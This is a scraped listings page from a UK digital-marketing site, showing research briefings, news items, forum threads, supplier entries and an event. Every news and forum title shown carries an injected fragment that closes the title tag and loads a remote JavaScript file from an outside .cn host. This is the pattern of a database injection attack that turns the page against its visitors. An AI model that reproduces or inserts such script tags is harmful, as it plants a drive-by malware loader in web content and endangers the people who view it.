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Research

 
1. Online Customer Service and Surveys Briefing - Jan 2007, 30 Jan 2007
Organisation: E-consultancy, Price: Free
Description: This free 11-page briefing is a summary of an E-consultancy roundtable on Online Customer Service and Online Surveys (registration required). The document contains a summary of the discussion, an overview of the marketplace for both markets, plus the latest statistics and a section on useful resources. Topics discussed included: What is the Best Channel to Serve Customer?, Measuring Customer Experience and Virtual Agents. Attendees included representatives from the following organisations: Aardvark Media, Bradford and Bingley, British Council, Clicktools, Creative Virtual, Datalateral, Fidelity, House of Fraser, Legal and General, NET-A-PORTER, Rocketseed and Synthetix......
2. Measures and Metrics: The European Marketing Performance Measurement Audit
Organisation: CMO Council, Price: Free
... Measures and Metrics: The European Marketing Performance Measurement Audit ... 9% say they have a "formal" comprehensive system in place. These are just ... Officer (CMO) Council. The report, an extension of the 2004 Measures + Metrics ... counterparts in the implementation of marketing measurement systems. The European ...
3. Syberworks Learning Management System Product Suite
Organisation: SyberWorks, Inc., Price: Free
... Syberworks Learning Management System Product Suite SyberWorks, Inc. ... unified Web-based Learning Management System. This complete product suite ... product suite is designed to facilitate the development, dissemination& ... economical, and scalable products are the ideal choice to power every part ...
4. Interlocking Priorities
Organisation: Information Security Magazine, Price: Free
... Information Security's Priorities 2008 survey, 1,149 readers cite many challenges ... vulnerability management. <p></p>These are the pieces of the security puzzle that ... standards (75 percent of those surveyed said they would be spending more time ... there needs to be some system for tracking what users have done with the ...
5. The Virtualization Framework: Starting from Scratch for the Small to Mid&#45;Sized Business
Organisation: VMware and Intel, Price: Free
... The Virtualization Framework: Starting from Scratch for the Small to Mid ... Framework: Starting from Scratch for the Small to Mid&#45;Sized Business ... evident across the business and IT spectrum. In a recent survey, nearly ... two-thirds of IT organizations said they plan to implement server virtualization ...
6. The New CIO: Change Partner and Business Leader, 1 May 2007
Organisation: IBM, Price: Free
... The New CIO: Change Partner and Business Leader IBM While all CIOs ... Leader IBM While all CIOs understand the importance effectively leveraging ... leveraging technology, most of the organizations they serve do not fully use ... survey of 765 CEOs and 170 CIOs in regards to the importance of closing ...
7. Quality Awards II: Leading Libraries
Organisation: Storage Magazine, Price: Free
... More than any other products in the data center, tape libraries are ... reliance on tape backup. With all of the focus on eliminating tape, one would ... assume that users are unhappy with their tape products. But that assumption ... would be off-base considering the results of the Diogenes Labs-Storage magazine ...

News

 
1. "></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--Avinash Kaushik on visitor experience optimisation, 1 April 2008
... -------------- A ( recent survey by the WAA suggested that many organisations ... behaviour. What challenges do you expect them to face and what benefits are on ... all data in a corporation because at the end of that rainbow is a pot of ... rainbow is a pot of gold. Or at least the promise of one.  Please make ...
2. "></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--The Web Week in Review, 22 February 2008
... The Web Week in Review Newspaper websites draw younger audiences In ... readers...giving a much-needed boost to the ailing newspaper business”. It ... also noted: "The growth of online audience is mitigating the decline in ... However, 70% of visitors to the Web site also read the print publication, suggesting ...
3. "></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--Intellitracker Enterprise R6 - redefining web analytics, 9 July 2008
... analytics Intellitracker today announced the production release of its all new ... This release was first previewed at The TFM&A show in February where its ... and ease of use caused quite a stir. The full production release follows ... forced to conform to how the analytics industry believes they ought to work, ...
4. "></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--dotMailer opens Manchester office in expansion move, 11 August 2008
... digital marketing agency and one of the best-known email service providers ... with the opening of an office in Manchester, in the heart of the new Media ... follows 18 months of rapid growth for the company, buoyed by impressive financial ... already has a number of clients based in the North of England, including Tarmac ...
5. "></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--Paid On Results launches affiliate marketing first - 'Payment On Request', 14 November 2007
... Results has become the first affiliate marketing network in the world to offer ... requested by the affiliate. The "Payment On Request" system, launched ... for all valid sales they have made, up to the day they request payment ... Affiliates will no longer have to wait the standard six weeks to get paid. ...
6. "></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--Social networkers 'enter false info', 19 September 2007
... Social networkers 'enter false info' The survey found that: - 24% of social ... 24% of social network users visit these sites on a daily basis, while ... them at work. - 81% of those surveyed use networking sites, while the ... criticised over privacy issues before and the recent move by Facebook to ( make ...
7. "></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--dotMailer repositions to reflect digital marketing revolution, 23 June 2008
... has repositioned the company through a consolidation of their digital arm ... digital marketing company, dotMailer Ltd. The consolidated company offers a full ... comes at a time of exciting growth for the company which has more than doubled ... which has more than doubled in size in the last 18 months and increased head ...

Forum

 
1. What are we doing wrong?, "></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--Internet Marketing Forum, textor, 5 Oct 07
... same as the old system so doesn't account for the drop-off, although we could ... This caused us some soul-searching at the time.  We had a large number of ... is added to the cart (name,country,phone number) and then phone them afterwards ... up for this in the conversions from people who abandoned their cart.  ...
2. Relaunch of website: how doing it formal and big?, "></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--Internet Marketing Forum, SarahAlder1, 13 Mar 08
... seriously improved for clients, then why do they care that it is new?  I know ... easier on the eye" are not valued by customers) then it's a non event to them ... your staff, especially the front line staff, make sure they know how good it ... good it is, perhaps it's easier for them to update or has better interface ...
3. Will the growth in User Generated Content swamp our ability to monitor it?, "></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--Internet Marketing Forum, AndyBlack, 15 Mar 07
... Will the growth in User Generated Content swamp our ability to monitor ... swamp our ability to monitor it? Will the growth in User Generated Content ... swamp our ability to monitor it? Will the growth in User Generated Content ... swamp our ability to monitor it? A survey released last week by EMC/IDC ...

Supplier Directory

 
1. STAR Digital, Northampton, Midlands
Areas of Expertise: Best Practice Digital Marketing Consultancy, Web Analytics, e-Brochures, Email marketing, E-Commerce, Online Public Relations, Online Surveys, SEO & PPC Campaign Management.....
Clients: SilverCross, Gartner, Parcelforce, Fellows & Sons
2. Portaltech, 67-69 Southwark Street, London
Areas of Expertise: eCommerce, Portal, Content Management and the supporting technologies that support and enable transactional web sites. Services span Consulting, Design, Application Development/Software Development, Systems Integration and Support......
Clients: Royal Mail Group, The Post Office, Premier Farnell, Johnson and Johnson
3. Poptel Technology Ltd, Highbury, London
... Floor, 13 Swan Yard Highbury London The Commonwealth Secretariat - Transport ... (both using Poptech's Direct Debit System) 020 7704 3930 We are a team ... design and build web-based solutions for the communication challenges faced by ... organisations and companies. Poptech is among the leading UK exponents of 'accessible ...

Events

 
1. Managing Digital Teams - Afternoon - London, 14 Oct 2008
Description: Where is your organisation in terms of capability maturity? • Why is knowing where you are critical? • How can you plot where you are and where you are heading? What functions does a digital tea.....

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